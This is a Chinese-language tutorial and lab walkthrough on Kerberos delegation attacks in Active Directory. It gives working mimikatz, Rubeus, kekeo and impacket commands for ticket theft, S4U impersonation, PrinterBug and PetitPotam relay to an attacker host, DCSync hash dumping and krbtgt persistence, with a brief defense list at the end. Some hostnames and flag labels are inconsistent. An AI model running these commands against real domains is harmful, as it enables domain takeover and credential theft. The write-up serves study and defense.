域委派攻擊詳解
什麼是域委派
域委派是指將域內用戶的許可權委派給服務帳號,使得服務帳號能以用戶許可權訪問域內的其他服務。簡言之:當A訪問服務B時,服務B拿著A用戶的憑證去訪問服務C,這個過程稱為委派。
域委派是大型網路中經常部署的應用模式,給多跳認證帶來了很大的便利,但是與此同時也帶來了很大的安全隱患,利用委派,攻擊者可獲取本地管理員甚至域管理員許可權,還可以製作深度隱藏的後門。
域用戶 yokan\justtest 以 kerberos 身份驗證訪問 Web 伺服器,請求下載文件。但是真正的文件在後台的文件伺服器上。於是,Web伺服器的服務帳號websrv模擬域用戶yokan\justtest,以kerberos協議繼續認證到後台文件伺服器。後台文件伺服器將文件返回給Web伺服器,Web伺服器將文件返回給域用戶yokan\justtest。這樣,就完成了一個委派的流程。
委派的分類
非約束性委派(Unconstrained Delegation )
約束性委派( Constrained Delegation)
基於資源的約束性委派(RBCD: Resource Based Constrained Delegation)
委派的前提
在域內只有主機帳號和服務帳號才有委派屬性。主機帳號:活動目錄中的computers組內的電腦,也被稱為機器帳號。服務帳號:域內用戶的一種類型,是伺服器運行服務時所用的帳號,將服務運行起來加入域內,比如:SQLServer,MYSQL等;域用戶通過註冊SPN也能成為服務帳號。
委派的前提:被委派的用戶不能被設置為不能被委派屬性。
非約束性委派(Unconstrained Delegation )
概述
1、 在Windows Server2000首次發布Active Directory時,Microsoft就提供了一種簡單的機制來支援用戶通過Kerberos向Web Server進 行身份驗證並需要代表該用戶更新後端資料庫伺服器上的記錄的方案,這就是最早的非約束性委派。對於非約束性委派 (Unconstrained Delegation),服務帳號可以獲取被委派用戶的TGT,並將TGT快取到LSASS進程中,從而服務帳號可使用該TGT, 模擬該用戶訪問任意服務。非約束委派的設置需要SeEnableDelegation 特權,該特權通常僅授予域管理員 。
2、 配置了非約束性委派屬性的機器帳號的userAccountControl 屬性有個Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其對應的數是0x81000=528384。
3、 配置了非約束性委派屬性的服務帳號的userAccountControl 屬性有個Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其對應的數是0x80200=524800。
查找非約束委派的主機或服務帳號(域控默認配置非約束委派屬性)
1、 利用powersploit中的powerview
Import-Module .\PowerView.ps1;
查詢非約束委派的主機 Get-NetComputer -Unconstrained -Domain yokan.com
查詢非約束委派的服務帳號 Get-NetUser -Unconstrained -Domain yokan.com | select name
2、 利用ADFind
查找域中配置非約束委派的用戶
AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非約束委派的主機
AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
3、 ldapsearch
非約束性委派大致流程
user訪serverA,於是向DC發起認證,DC會檢查serverA的機器帳號的屬性,如果是非約束委派的話,會把用戶的TGT放在ST票據中並一起發送給serverA,這樣serverA在驗證ST票據的同時也獲取到了用戶的TGT,並把TGT儲存在自己的lsass進程中以備下次重用,從而serverA就可以使用這個TGT,來模擬這個user訪問任何服務。
從攻擊角度來說:如果攻擊者拿到了一台配置了非約束委派的機器許可權,可以誘導管理員來訪問該機器,然後可以得到管理員的TGT,從而模擬管理員訪問任意服務,相當於拿下了整個域環境。
非約束性委派利用
域:yokan.com 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 受委派機器:SERVER2012
現在將SERVER2012這個機器帳號設置為非約束委派。
通過命令行打開adsiedit.msc查看SERVER2012機器屬性,可以看到:
當被設置為非約束委派的時候,它的userAccountControl會包含TRUSTED_FOR_DELEGATION欄位。
用域管訪問SERVER2012機器
然後在SERVER2012上以管理員許可權運行mimikatz:
privilege::debug
導出票據
sekurlsa::tickets /export
此時拿到了管理員的票據,用mimikatz將票據注入記憶體中,然後訪問域控:
首先使用mimikatz清楚記憶體中的票據
kerberos::purge
然後導入票據
kerberos::ptt [0;7b5d92a][email protected]
查看票據
kerberos::list
可以訪問域控:
非約束委派+spooler印表機
如果只是單純的非約束委派話需要管理員主動連接,所以在實戰環境利用比較雞肋。
利用非約束委派+Spooler印表機服務可以強制指定的主機進行連接,這個利用場景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的
利用原理
:利用Windows列印系統遠程協議(MS-RPRN)中的一種舊的但是默認啟用的方法,在該方法中,域用戶可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法強制任何運行了Spooler服務的電腦以通過Kerberos或NTLM對攻擊者選擇的目標進行身份驗證。
請求過程如下:
註:Print Spooler服務默認是自動運行的
註:我在windows server2008上操作沒有成功,不知道是我的問題還是有版本限制,按照上面的原理來說應該是沒有版本限制的,不過把域環境重新配置了一遍,域控換成了windows server2012R2就成功了。
復現參考:
//mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw
利用工具://github.com/cube0x0/CVE-2021-1675
AdFind.exe(//www.joeware.net/freetools/tools/adfind/)
Impacket(//github.com/SecureAuthCorp/impacket)
SpoolSample(//github.com/leechristensen/SpoolSample)
Rubeus(//github.com/GhostPack/Rubeus)
利用復現
環境:
域:yokan.com
域控:系統:Windows server 2008主機名:WIN-1D09BAA27UF,ip:192.168.111.134
域內主機:系統:windows 10,主機名:DESKTOP-JSNG43Q,ip:192.168.111.153
給win10這個主機賬戶開啟非約束委派:
利用:
利用前提是:需要獲取一台主機賬戶開啟了非約束委派域內機器的許可權。(這裡是win10機器
(1)查詢域內配置非約束委派的主機::
(2)查看域控主機上是否運行PrintSpooler服務(默認運行)
ls [\ad\pipe\spoolss](file://ad/pipe/spoolss) (網圖)
有顯示spoolss即為域控主機上運行了PrintSpooler服務,如果沒有運行,我們將收到一個錯誤資訊。
還有另一種方法。我們可以使用impacket中rpcdump.py腳本掃描存在PrintSpooler服務的主機:
如圖所示為存在PrintSpooler服務,未顯示資訊則不存在。
(3)使用Rubeus監聽來自域控(AD)的4624登錄日誌(需要管理員許可權):
(4)在win10主機上運行SpoolSample.exe,向域控(WIN-1D09BAA27UF)的Spooler服務發送請求,強制域控(WIN-1D09BAA27UF)向win10主機發起認證:
【沒有成功,查資料說是域控換成SERVER2012以上就可以了,這邊沒有相應環境,下面貼一下網圖吧】
(5)捕捉到來自域控(AD)的認證請求,導出其TGT數據:
【PS:也可以像 《非約束委派利用》 一節 一樣,直接用mimikatz導出票據】
(6)使用Rubues進行PTT票據傳遞:
PTT操作將通過LsaCallAuthenticationPackage()API提交當前登錄會話的(TGT或服務票證),其中包含KERB_SUBMIT_TKT_REQUEST消息,或者(如果已提升)由指定的登錄會話”/luid:0xA..”。
與其他”/ticket:X”參數一樣,該值可以是”.kirbi”文件的base64編碼或磁碟上”.kirbi”文件的路徑。
使用Rubues導入base64的ticket:
(7)成功導入TGT後,查看可用票據:
(8)利用DCSync導出域內所有用戶hash:
我們可以進一步進行Hash傳遞或者進行黃金票據等。
約束性委派( Constrained Delegation)
概述
1、 由於非約束性委派的不安全性,微軟在Windows Server 2003中發布了約束性委派。同時,為了在Kerberos協議層面對約束性委派的支援,微軟擴展了兩個子協議 S4u2Self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ),這兩個擴展都允許服務代表用戶從KDC請求票證。S4U2self可以代表自身請求針對其自身的Kerberos服務票據(ST1);S4U2proxy可以以用戶的名義請求其它服務的ST2,約束委派就是限制了S4U2proxy擴展的範圍, 只能模擬該用戶訪問特定的服務。
2、 配置了約束性委派賬戶的msDS- AllowedToDelegateTo屬性會指定對哪個SPN進行委派。約束委派的設置需要 SeEnableDelegation 特權,該特權通常僅授予域管理員。
3、 配置了非約束性委派的機器帳號的userAccountControl屬性有個FLAG位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其對應的數是0x1001000=16781312。
4、 配置了非約束性委派的服務帳號的userAccountControl屬性有個FLAG位 NORMAL_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其對應的數是0x1000200=16777728。
S4U2Self和S4U2proxy的請求過程
註:其中步驟1-4代表S4U2Self請求的過程,步驟5-10代表S4U2proxy的請求過程
上述請求的文字描述:
\1. 用戶向service1發出請求。用戶已通過身份驗證,但service1沒有用戶的授權數據。通常,這是由於身份驗證是通過Kerberos以外的其他方式驗證的。
\2. 通過S4U2self擴展以用戶的名義向KDC請求用於訪問service1的ST1。
\3. KDC返回給Service1一個用於用戶驗證Service1的ST1,該ST1可能包含用戶的授權數據。
\4. service1可以使用ST中的授權數據來滿足用戶的請求,然後響應用戶。
註:儘管S4U2self向service1提供有關用戶的資訊,但S4U2self不允許service1代表用戶發出其他服務的請求,這時候就輪到S4U2proxy發揮作用了
\5. 用戶向service1發出請求,service1需要以用戶身份訪問service2上的資源。
\6. service1以用戶的名義向KDC請求用戶訪問service2的ST2
\7. 如果請求中包含PAC,則KDC通過檢查PAC的簽名數據來驗證PAC ,如果PAC有效或不存在,則KDC返回ST2給service1,但存儲在ST2的cname和crealm欄位中的客戶端身份是用戶的身份,而不是service1的身份。
\8. service1使用ST2以用戶的名義向service2發送請求,並判定用戶已由KDC進行身份驗證。
\9. service2響應步驟8的請求。
\10. service1響應用戶對步驟5中的請求。
總結:
S4U2Self(用用戶的TGT向KDC請求用戶的可轉發的ST1,再用這張ST1去發起S4U2proxy請求。) 通過此擴展可以拿到一張標識任意用戶身份的ST,它的作用其實是協議轉換。有時用戶會通過其他協議(例如NTLM或者是基於表單的身份驗證)對服務進行身份驗證,因此他們不會將TGS發送給服務。在這種情況下,服務可以調用S4U2Self來要求身份驗證服務為其自身的任意用戶生成TGS,然後可以在調用S4U2Proxy時將其用作依據。例如網站A伺服器可以使用它去向KDC請求一張用戶B身份的ST1,網站A伺服器再用這張ST1去發起S4U2proxy請求。
S4U2proxy(拿用戶的可轉發的ST1請求用於訪問伺服器的ST2) 該拓展作用是使用一張用戶A身份的ST1去向KDC請求一張用於訪問文件伺服器B的ST2,這張ST2的身份還是用戶的,這樣的話網站A就可以利用用戶A的許可權去訪問文件伺服器B上的文件了。
查找約束委派的主機或服務帳號
1、利用empire中的powerview
Import-Module .\powerview.ps1;
查詢約束委派的主機: Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name
查詢約束委派的帳號: Get-DomainUser -TrustedToAuth -Domain hiro.com | select name
2、利用ADFind
查找域中配置約束委派用戶: AdFind.exe -b “DC=hiro,DC=com” -f “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” cn distinguishedName msds-allowedtodelegateto
查找域中配置約束委派的主機: AdFind.exe -b “DC=hiro,DC=com” -f “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))” cn distinguishedName msds-allowedtodelegateto
3、ldapsearch
約束性委派的大致流程
user訪問serviceA,向DC發起kerberos認證,域控返回user的TGT和ST1票據,user使用ST1票據對serviceA進行訪問
如果配置了serviceA到serviceB的約束委派,則serviceA能使用S4U2Proxy協議將用戶發給自己的可轉發的ST1票據以用戶的身份發給DC。
域控返回serviceA一個用來訪問serviceB的ST2票據,這樣serviceA就能以用戶的身份對serviceB發起訪問。
由於服務用戶只能獲取某個用戶(或主機)的服務的ST1而非TGT,所以只能模擬用戶訪問特定的服務,但是如果能拿到約束委派用戶(或主機)的密碼或者Hash,就可以偽造S4U的請求,偽裝成服務用戶以任意用戶的許可權申請訪問指定服務的ST2。
約束性委派利用
域:yokan.com 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 受委派機器:WIN7 域用戶:justtest
首先在域控上將域用戶justtest註冊成為SPN服務帳號:
setspn -S cifs/WIN7.yokan.com justtest
查看是否註冊成功:
setspn -L justtest
然後將justtest用戶設置約束委派的屬性,為訪問域控的cifs(訪問文件夾)
通過命令行打開adsiedit.msc查看justtest用戶屬性,可以看到:
當被設置為約束委派的時候,它的userAccountControl會包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION欄位。
並且比非約束委派的賬戶多了msDS-AllowedToDelegateTo欄位,裡面包含了允許委派的服務
前面我們講了在約束委派的情況下,服務用戶只能獲取某個用戶(或主機)的服務的ST,所以只能模擬用戶訪問特定的服務,是無法獲取用戶的TGT,如果我們能獲取到開啟了約束委派的服務用戶的明文密碼或者NTLM Hash,我們就可以偽造S4U請求,進而偽裝成服務用戶以任意賬戶的許可權申請訪問某服務的ST。
當知道justtest這個服務用戶的明文密碼或者Hash時,可以用kekeo請求它的TGT:
擁有明文密碼
tgt::ask /user:justtest /domain:yokan.com /password:**********
擁有賬戶的Hash
tgt::ask /user:justtest /domain:yokan.com /NTLM:xxxxxxxxxxxxxxx
PS:如果既不知道明文也不知道Hash,如果有了服務用戶登錄的主機許可權,可以用mimikatz從記憶體中把服務用戶的TGT dump下來照樣可以實現
從記憶體中導出所有票據
privilege::debug
sekurlsa::tickets /export
然後通過justtest的TGT偽造s4u請求以administrator身份請求訪問域控(WIN-1D09BAA27UF) cifs的ST :
*tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/WIN-1D09BAA27UF.yokan.com*
(S4U2Self獲取到的ST1以及S4U2Proxy獲取到的域控CIFS服務的ST2會保存在當前目錄下,然後我們用mimikatz將ST2導入當前會話即可)
用mimikatz將票據導入記憶體中
*kerberos::ptt [email protected]@[email protected]*
訪問域控:
約束委派請求過程
待抓包看一下整個委派請求的過程。
參考:
//mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw 服務用戶: win7
//xz.aliyun.com/t/7217#toc-12 服務用戶 qiyou
//mp.weixin.qq.com/s/PDhCRD1aOcmtd2wMUrv8Qg (這篇文章也有抓包分析過程)
利用約束委派生成黃金票據
TGT的生成是由krbtgt用戶加密和簽名的,如果我們能委派krbtgt服務,那麼就可以偽造任意用戶的TGT了,黃金票據通常情況下我們是用krbtgt的hash來偽造TGT,不過我們通過約束委派也能達到同樣的效果。
註:TGS默認的spn是krbtgt/domain name,在我們操作環境下也就是是krbtgt/YOKAN.COM
krbtgt默認是禁用的而且無法啟用,所以我們無法使用介面來添加這個SPN。
我們可以使用powershell來添加:
域控通過powershell添加justtest到krbtgt的約束委派
powershell -exec bypass
Import-Module ActiveDirectory
$user = Get-ADUser justtest (justtest為設置為約束委派的服務帳號)
Set-ADObject $user -Add @{ “msDS-AllowedToDelegateTo” = @(“krbtgt/yokan.com”) }
我們可以用impacket套件攻擊(可以py腳本,也可以exe,這裡用py)
使用getST向KDC請求administrator的TGT:
*python getst.py -dc-ip 192.168.111.134 -spn krbtgt/yokan.com -impersonate Administrator yokan.com/justtest:password*
參數:
-impersonate:表示偽造用戶
-spn:表示我們要委派的服務的spn,這裡是TGS
-dc-ip:域控ip
執行之後會在當前目錄生成一個快取文件Administrator.ccache
黃金票據利用:
(1)獲取域控許可權
用mimikatz進行ptc(pass the cache),將快取注入當前會話中
x
cmd下,klist查看快取的票據
訪問域控
(2)用wmiexec彈出一個許可權為administrator互動式的shell
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k [email protected] -dc-ip 192.168.111.134
(3)導出域內哈希
set KRB5CCNAME=administrator.ccache
python secretsdump.py -no-pass -k WIN-1D09BAA27UF.yokan.com
基於資源的約束性委派(RBCD:Resource Based Constrained Delegation)
概述
傳統的委派,在設置的過程中其實都是需要SeEnableDelegation特權,而這個特權需要域管理員才能設置。相對於傳統的委派,基於資源的約束委派它不需要域管理員設置,而是機器本身。
基於資源的約束性委派允許資源配置受信任的帳戶委派給他們。基於資源的約束性委派只能在運行Windows Server 2012和Windows Server 2012 R2及以上的域控制器上配置,但可以在混合模式林中應用。配置了基於資源的約束性委派賬戶的msDS-AllowedToActOnBehalfOfOtherIdentity 屬性的值為被允許委派帳號的SID,並且委派屬性這裡沒有任何值。
(換圖)
約束委派和基於資源的約束委派的區別
前者:通過服務A委派到服務B,實際是在服務A上增加TRUSTED_FOR_DELEGATION欄位(非約束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (約束委派)欄位來達到委派的目的。
後者:通過服務B允許服務A委派到服務B,實際是通過服務B自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity欄位,從而允許服務A對服務B的基於資源的約束委派。
所以當利用到基於資源的約束委派的時候,服務A的兩個欄位是沒有賦值的,當這兩個欄位沒有被賦值的時候,通過S4U2Self得到的ST服務票證是不可被轉發的,而S4U2Proxy的作用就是將可轉發的ST票據轉發到其他服務進行委派認證的。但是:在基於資源的約束委派過程中,不可轉發的ST仍可以通過S4U2Proxy轉發到其他服務進行委派認證,並且最後還會返回一張可轉發的ST服務票證。
因此,如果能夠在服務B上配置允許服務A的基於資源的約束委派,那麼就可以通過控制服務A使用S4U2Self向域控請求任意用戶訪問自身的服務票據,最後再使用S4U2Proxy轉發此ST票據去請求訪問服務B的可轉發的ST服務票據,那麼我們就可以模擬任意用戶訪問服務B了。這裡可以以普通域用戶的身份去創建機器帳號作為服務A。
基於資源的約束性委派的優勢
1、委派的許可權授予給了擁有資源的後端,而不再是前端
2、約束性委派不能跨域進行委派,基於資源的約束性委派可以跨域和林
3、不再需要域管理員許可權設置委派,只需擁有在電腦對象上編輯msDS-AllowedToActOnBehalfOfOtherIdentity屬性的許可權,也就是擁有』將域機器加入域』的域用戶和機器自身的許可權。
基於資源的約束性委派利用條件
利用基於資源的約束委派(RBCD)需要2個條件:
1.擁有將域機器加入域的域用戶的許可權。(將機器B加入域的域用戶擁有修改機器B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的許可權。)
2.一個任意服務賬戶或者一個機器賬戶(每一個域用戶都可以添加10個機器賬戶)
補充:
1.如果導入powerview後執行以下命令後有回顯,證明win7主機配置了基於資源的約束性委派。
Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity
2.查找將win主機拉入域內的人的sid,其實就是查找這台主機的mS-DS-CreatorSID值:
AdFind.exe -b “DC=yokan,DC=com” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID
基於資源的約束性委派流程
基於資源的約束性委派利用
攻擊前
域:yokan 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 域內機器:DESKTOP-JSNG43Q(一台Windows10),域內用戶justtest把這台機器加入到域內
1、
通過ADFind查找將域機器拉入域的用戶的SID:
*AdFind.exe -b “DC=yokan,DC=com” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID*
(如果一個機器帳號沒有mS-DS-CreatorSID,那麼他是被域管拉入到域內的,比如上圖前三個)
查看S-1-5-21-3711814681-2143907425-4066055064-1138是誰:
*AdFind.exe -b “DC=yokan,DC=com” -f “(&(objectsid= S-1-5-21-3711814681-2143907425-4066055064-1138))” objectclass cn dn*
假如現在已經拿到了把DESKTOP-JSNG43Q這台機器加入域的用戶justtest的許可權
使用whoami /all查詢當前用戶的sid
同樣可以通過用戶的sid查看哪些域機器是通過自己(justtest)加入到域內的:
*AdFind.exe -b “DC=yokan,DC=com” -f “(&(samAccountType=805306369)(mS-DS-CreatorSID= S-1-5-21-3711814681-2143907425-4066055064-1138))” cn sAMAccountType objectCategory*
2、
利用powermad添加機器賬戶:
(下載://github.com/Kevin-Robertson/Powermad)
這裡以justtest用戶創建一個域機器名為win10system,密碼為win10
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString “win10” -AsPlainText -Force)
驗證是否創建成功:
net group “domain computers” /domain
3、
查詢添加機器的SID:
(1) 在域控制器上查詢
dsquery computer | dsget computer -dn -sid
或者
powershell運行Get-ADComputer win10system
(2) 在域機器上查詢
使用empire下的powerview:
Import-Module .\powerview.ps1
Get-DomainComputer -Identity win10system
S-1-5-21-3711814681-2143907425-4066055064-1141
4、
然後設置win10system到DESKTOP-P34E60A的基於資源的約束委派(使用empire下的powerview),即DESKTOP-P34E60A自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity欄位
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3711814681-2143907425-4066055064-1141)”
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-JSNG43Q| Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose
檢查是否配置成功:
(使用empire下的powerview)
Get-DomainComputer DESKTOP-JSNG43Q -Properties msds-allowedtoactonbehalfofotheridentity
也可以在域控上通過命令行打開adsiedit.msc查看CN=DESKTOP-JSNG43Q機器屬性,可以看到:
當被設置為基於資源的約束委派的時候,它的msDS-AllowedToActOnBehalfOfOtherIdentity會包含有效欄位。
(攻擊完成清除基於資源的約束委派配置:[導入powerview]
Set-DomainObject DESKTOP-JSNG43Q -Clear ‘msds-allowedtoactonbehalfofotheridentity’ -Verbose)
補充:
如果滿足了「利用條件「,可以直接使用這個工具(//github.com/tothi/rbcd-attack)****添加機器賬戶,配置基於資源的約束委派,兩條命令即可,很方便)
使用 如下:
現在已經配置好利用條件就可以通過基於資源的約束委派進行攻擊了:
攻擊
1.使用rubeus獲取票據
Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt
dir [\WIN-1D09BAA27UF\c$](file://WIN-1D09BAA27UF/c$)
2.使用impacket套件獲取
python3 getST.py -dc-ip 192.168.111.134 -spn cifs/DESKTOP-JSNG43Q -impersonate administrator yokan.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k [email protected] -dc-ip 192.168.111.134
基於資源的約束委派+spool服務(PrinterBug)+CVE-2019-1040
CVE-2019-1040可以繞過NTLM中的MIC(消息完整性檢查),修改已經過協商簽名的身份驗證流量。有兩種利用方式,一個是攻擊Exchange 機器,迫使Exchange機器用戶向我們發起請求,另外一個就是攻擊域管機器,迫使域管機器用戶向我們發起請求。
這裡我們用到的是 攻擊域管機器。
在有輔助域的內網中,利用此漏洞,就能直接獲取到域控的許可權。
環境:
PDC : 192.168.111.134
ADC : 192.168.111.135
已控普通域內機器:192.168.111.
攻擊機kali : 192.168.111.142
已知域用戶: justtest *******
利用:
1、 由於所有域用戶向都可以在域中添加10個電腦帳戶,因此在受控域內機器上,使用justtest的用戶身份新建一個機器用戶tttest:
創建方式有很多,可以使用powermad.ps1腳本。 這裡使用impacket工具包里的addcomputer.py
python addcomputer.py -computer-name ‘tttest’ -computer-pass ttttest -dc-ip 192.168.111.134 yokan.com/justtest:YOKAN_vege947!!@@
2、使用impacket中的ntlmrelay.py監聽445進行監聽等待域控進行連接
python ntlmrelayx.py -t ldap://192.168.111.134 -smb2support –remove-mic –delegate-access –escalate-user tttest$ -debug
(別忘了轉義)
執行ntlmrelayx.py腳本,–delegate-access選項是將中繼電腦帳戶的訪問許可權委託給攻擊者,–escalate-user參數設置tttest機器用戶的資源委派,–remove-mic參數了是去除mic驗證
3 使用印表機漏洞讓域控連接我們的445(注意攻擊的域控跟回連的LDAP所在的伺服器不要在同一台域控)
使用任意域帳號SMB連接輔助域控制器,觸發printerbug,使輔助域控制器用自己的用戶身份回連攻擊者主機
python printerbug.py yokan.com/justtest:YOKAN_vege947!!@@@192.168.111.135 192.168.111.142
此時ntlmrelayx.py通過ldap將該用戶賬戶中繼到域控伺服器(DC),並設置了tttest$到ADC輔助域控制器的約束委派
(網圖,我主域控是server08,沒有成功)
(//mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ)
4 使用impaket中的getSP.py腳本,通過-impersonate參數模擬用戶administrator請求其票據,再利用票據執行命令
首先:
python3 getST.py -spn cifs/ADC.yokan.com yokan/tttest$:tttest -dc-ip 192.168.111.134 -impersonate administrator
導入票據:
export KRB5CCNAME=administrator.ccache
獲取輔助域控shell
python3 smbexec.py -k -no-pass adc.yokan.com
基於資源的約束委派+petitpotam+CVE-2019-1040
利用PetitPotam,可以指定域內的一台伺服器,並使其對攻擊者選擇的目標進行身份驗證。
而且在低版本(08和12)的情況下,可以匿名觸發,不需要域用戶。在16版本以上,就需要指定一個普通域用戶帳號和密碼了。
利用過程與上面類似,只不過觸發方式從prinrtbug改為petitpotam
1、****添加電腦賬戶
python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 “test.com/user1:Uu1234.”
2、****開啟中繼
python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug –delegate-access –escalate-user rbcd1$ -smb2support –remove-mic
3、觸發PetitPotam
python3 Petitpotam.py 192.168.164.128 192.168.164.147
(這裡是server2012,不需要指定用戶名密碼)
PS 如果是server2016以上,觸發方式為:
python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.147
4****、獲取票據
這裡我重新搭建了域環境,所以機器名變了
python3 getST.py -dc-ip 192.168.164.146 test/rbcd1$:123456 -spn cifs/father2.test.com -impersonate administrator
5、 載入票據使用
export KRB5CCNAME=administrator.ccache
psexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com
secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt
利用基於資源的約束委派進行許可權維持
跟約束委派利用相似,可以配置win10system到krbtgt的基於資源的約束委派,只要有了win10system的許可權,就能偽造任意用戶請求krbtgt服務,則可以請求到任意用戶的TGT.
在域控上執行:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)”
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose
可以看到krbtgt的msDS-AllowedToActOnBehalfOfOtherIdentity會包含有效欄位。
1.使用rubeus偽造administrator請求TGT
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt
klist查看快取票證
訪問域控
2.同樣的也能用impacket套件
python3 getST.py -dc-ip 192.168.111.134 -spn krbtgt -impersonate administrator yokan.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k [email protected] -dc-ip 192.168.111.134
防禦
\1. 高許可權帳號設置禁止委派屬性
\2. 微軟推出了protected users組,組內用戶不允許被委派,適用於Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012
\3. kerberos預認證不使用DES或RC4等加密演算法(盡量使用AES256)同樣能夠預防Kerberoast攻擊
參考
//mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw
//shanfenglan.blog.csdn.net/article/details/111249630
//xz.aliyun.com/t/10061#toc-12 (利用基於資源的約束委派提權)
委派知識點全收錄:
//mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ
printerbug/petitpotam+rbcd :
//www.cnblogs.com/zpchcbd/p/15857942.html